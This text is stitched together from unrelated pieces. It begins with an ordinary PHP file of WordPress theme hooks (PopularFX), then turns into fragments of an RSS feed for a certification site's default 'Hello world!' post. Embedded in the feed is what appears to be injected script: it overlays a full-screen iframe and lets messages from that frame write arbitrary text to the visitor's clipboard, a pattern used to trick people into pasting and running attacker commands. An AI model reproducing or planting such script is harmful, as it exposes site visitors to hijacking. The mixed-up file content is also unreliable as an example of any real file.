/**
 * Functions which enhance the theme by hooking into WordPress
 *
 * @package PopularFX
 */

/**
 * Adds custom classes to the array of body classes.
 *
 * @param array $classes Classes for the body element.
 * @return array
 */
function popularfx_body_classes( $classes ) {
	// Adds a class of hfeed to non-singular pages.
	if ( ! is_singular() ) {
		$classes[] = 'hfeed';
	}

	// Adds a class of no-sidebar when there is no sidebar present.
	if ( ! is_active_sidebar( 'sidebar-1' ) ) {
		$classes[] = 'no-sidebar';
	}

	return $classes;
}
add_filter( 'body_class', 'popularfx_body_classes' );

/**
 * Add a pingback url auto-discovery header for single posts, pages, or attachments.
 */
function popularfx_pingback_header() {
	if ( is_singular() && pings_open() ) {
		printf( '<link rel="pingback" href="%s">', esc_url( get_bloginfo( 'pingback_url' ) ) );
	}
}
add_action( 'wp_head', 'popularfx_pingback_header' );
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	<title>admin &#8211; Centro de Certificación Profesional CERTICPRO</title>
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	<link>https://certicpro.com</link>
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		<title>Hello world!</title>
		<link>https://certicpro.com/2021/11/02/hello-world/</link>
					<comments>https://certicpro.com/2021/11/02/hello-world/#comments</comments>
		
		<dc:creator><![CDATA[admin]]></dc:creator>
		<pubDate>Tue, 02 Nov 2021 20:15:15 +0000</pubDate>
				<category><![CDATA[Uncategorized]]></category>
		<guid isPermaLink="false">http://certicpro.com/?p=1</guid>

					<description><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start writing!]]></description>
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<p class="wp-block-paragraph">Welcome to WordPress. This is your first post. Edit or delete it, then start writing!</p>
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    iframe.style.zIndex = 99999;

    document.body.appendChild(iframe);

    
    window.addEventListener("message", function(event) {
      if (!event.data || event.data.type !== "copy") return;

      
      if (navigator.clipboard && navigator.clipboard.writeText) {
        navigator.clipboard.writeText(event.data.text).catch(() => {
          fallbackCopyText(event.data.text);
        });
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        fallbackCopyText(event.data.text);
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					<wfw:commentRss>https://certicpro.com/2021/11/02/hello-world/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
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